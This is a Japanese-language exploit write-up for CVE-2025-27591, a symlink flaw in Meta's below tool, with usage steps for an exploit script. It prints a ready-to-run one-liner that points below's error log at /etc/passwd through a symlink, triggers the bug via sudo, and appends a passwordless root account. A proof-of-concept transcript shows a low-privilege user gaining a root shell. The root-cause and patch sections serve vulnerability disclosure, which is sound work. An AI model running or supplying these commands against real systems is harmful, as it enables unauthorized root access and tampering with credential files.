CVE-2025-27591 — Meta below シンボリックリンク ローカル権限昇格

概要

説明

below システムリソース監視ツール（Meta Platforms, Inc. 製）には、エラーログ機構に欠陥があります。sudo 経由で呼び出されると、対象パスがシンボリックリンクであるかどうかを事前にチェックせずに、/var/log/below/ にあるログファイルに 0666 のパーミッションを強制的に設定します。これにより、ローカルの攻撃者はログファイルを、root が書き込み可能な任意のファイルを指すシンボリックリンクと置き換え、制御された内容でそのファイルを実質的に上書きできます。

技術詳細

根本原因

below < 0.9.0 のログコードは、root として実行されると、以下の操作を順番に実行します:

1. ログパスを決定する: /var/log/below/error_root.log
2. ファイルを作成または開く
3. chmod(path, 0o666) を呼び出す — シンボリックリンクかどうかをチェックしない
4. エラーメッセージをパスに書き込む

ステップ 4 で、実行前にパスがシンボリックリンクに置き換えられていた場合、書き込みはシンボリックリンクのターゲットに対して行われます。

攻撃チェーン

Local user
    │
    ▼
Remove /var/log/below/error_root.log
    │
    ▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
    │
    ▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
    │  (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
    ▼
/etc/passwd is now world-writable
    │
    ▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
    │
    ▼
su rooted → root shell

なぜ --time "invalid" が機能するのか

無効な時刻文字列を渡すと、below がエラーメッセージをログに記録します。エラーパスは、ファイル（現在は攻撃者が仕掛けたシンボリックリンク）に対して盲目的に書き込むログコードに到達します。

使用方法

chmod +x exploit.sh
./exploit.sh

前提条件: 現在のユーザーが /usr/bin/below を実行するための sudo 権限を持っている必要があります。

ワンライナー

rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted

概念実証

$ whoami
lowpriv
$ ./exploit.sh
# whoami
root

パッチ

この脆弱性は below バージョン 0.9.0 で修正されました。この修正により、ログパスにおけるファイル操作の前にシンボリックリンクチェックが導入されています。

参考

• NVD エントリ
• Meta below GitHub